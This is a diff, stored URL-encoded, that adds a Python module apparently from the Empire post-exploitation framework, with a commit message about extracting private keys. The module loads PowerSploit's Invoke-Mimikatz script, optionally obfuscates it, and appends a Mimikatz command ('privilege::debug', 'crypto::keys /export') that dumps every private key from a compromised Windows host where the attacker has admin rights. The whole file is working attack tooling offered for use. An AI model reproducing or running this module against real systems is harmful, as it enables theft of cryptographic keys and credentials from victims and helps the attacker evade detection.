@@ -0,0 +1,2570 @@
+from lib.common import helpers%0A%0Aclass Module:%0A%0A    def __init__(self, mainMenu, params=%5B%5D):%0A%0A        self.info = %7B%0A            'Name': 'Invoke-Mimikatz DumpKeys',%0A%0A            'Author': %5B'@JosephBialek', '@gentilkiwi'%5D,%0A%0A            'Description': (%22Runs PowerSploit's Invoke-Mimikatz function %22%0A                            %22to extract all keys to the local directory.%22),%0A%0A            'Background' : True,%0A%0A            'OutputExtension' : None,%0A            %0A            'NeedsAdmin' : True,%0A%0A            'OpsecSafe' : True,%0A%0A            'Language' : 'powershell',%0A%0A            'MinLanguageVersion' : '2',%0A            %0A            'Comments': %5B%0A                'http://clymb3r.wordpress.com/',%0A                'http://blog.gentilkiwi.com'%0A            %5D%0A        %7D%0A%0A        # any options needed by the module, settable during runtime%0A        self.options = %7B%0A            # format:%0A            #   value_name : %7Bdescription, required, default_value%7D%0A            'Agent' : %7B%0A                'Description'   :   'Agent to run module on.',%0A                'Required'      :   True,%0A                'Value'         :   ''%0A            %7D%0A        %7D%0A%0A        # save off a copy of the mainMenu object to access external functionality%0A        #   like listeners/agent handlers/etc.%0A        self.mainMenu = mainMenu%0A        %0A        for param in params:%0A            # parameter format is %5BName, Value%5D%0A            option, value = param%0A            if option in self.options:%0A                self.options%5Boption%5D%5B'Value'%5D = value%0A%0A%0A    def generate(self, obfuscate=False, obfuscationCommand=%22%22):%0A        %0A        # read in the common module source code%0A        moduleSource = self.mainMenu.installPath + %22/data/module_source/credentials/Invoke-Mimikatz.ps1%22%0A        if obfuscate:%0A            helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)%0A            moduleSource = moduleSource.replace(%22module_source%22, %22obfuscated_module_source%22)%0A        try:%0A            f = open(moduleSource, 'r')%0A        except:%0A            print helpers.color(%22%5B!%5D Could not read module source path at: %22 + str(moduleSource))%0A            return %22%22%0A%0A        moduleCode = f.read()%0A        f.close()%0A%0A        script = moduleCode%0A        %0A        # add in the cert dumping command%0A        scriptEnd = %22%22%22Invoke-Mimikatz -Command 'crypto::capi privilege::debug crypto::cng %22crypto::keys /export%22' %22%22%22%0A        if obfuscate:%0A            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)%0A        script += scriptEnd%0A        return script%0A

Create Keys.py to extract private keys